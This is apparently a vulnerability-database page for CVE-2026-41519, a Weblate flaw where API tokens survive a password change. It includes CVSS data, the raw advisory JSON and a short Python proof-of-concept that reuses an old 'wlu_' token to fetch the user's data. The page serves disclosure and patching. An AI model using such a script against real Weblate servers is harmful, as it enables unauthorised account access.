Security Vulnerability Report
中文
CVE-2026-41519 CVSS 4.2 MEDIUM

CVE-2026-41519

Published: 2026-05-07 15:16:07
Last Modified: 2026-05-11 17:00:56

Description

Weblate is a web based localization tool. Prior to version 5.17.1, when a user changes their password, browser sessions are correctly invalidated via "cycle_session_keys()", but DRF API tokens ("wlu_*" prefix) stored in "authtoken_token" are not revoked. This issue has been patched in version 5.17.1.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:* - VULNERABLE
Weblate < 5.17.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration TARGET_API = "https://example.com/api/" OLD_TOKEN = "wlu_xxxxxxxxxxxxx" # The token obtained before password change headers = { "Authorization": f"Token {OLD_TOKEN}" } # Step 1: Verify access with old token before password change print("[+] Checking access with old token before password change...") response = requests.get(f"{TARGET_API}users/me/", headers=headers) if response.status_code == 200: print("[+] Access granted. Old token is valid.") else: print("[-] Access denied. Check token or network.") exit(1) # Step 2: Simulate the user changing their password via Web Interface # (This step is performed by the user in the browser, invalidating the session) print("[+] User changes password via Web Interface (Session keys cycled)...") # Step 3: Attacker attempts to use the old API token again print("[+] Attempting to use old API token after password change...") response = requests.get(f"{TARGET_API}users/me/", headers=headers) if response.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Old API token is still valid!") print(f"[!] Data leaked: {response.json()}") else: print("[+] Mitigation detected: Token was revoked.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41519", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:07.160", "lastModified": "2026-05-11T17:00:55.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weblate is a web based localization tool. Prior to version 5.17.1, when a user changes their password, browser sessions are correctly invalidated via \"cycle_session_keys()\", but DRF API tokens (\"wlu_*\" prefix) stored in \"authtoken_token\" are not revoked. This issue has been patched in version 5.17.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.17.1", "matchCriteriaId": "883115A9-8BF0-460B-B711-BDC6C4FCBE10"}]}]}], "references": [{"url": "https://github.com/WeblateOrg/weblate/commit/649a2da81700542f95c0807b3c625fc3bb0eaf95", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/pull/19057", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/releases/tag/weblate-5.17.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-6j8j-4qp3-36p2", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}